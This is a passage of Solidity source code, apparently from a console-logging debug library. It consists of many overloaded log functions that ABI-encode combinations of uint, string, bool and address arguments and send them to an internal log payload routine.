_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
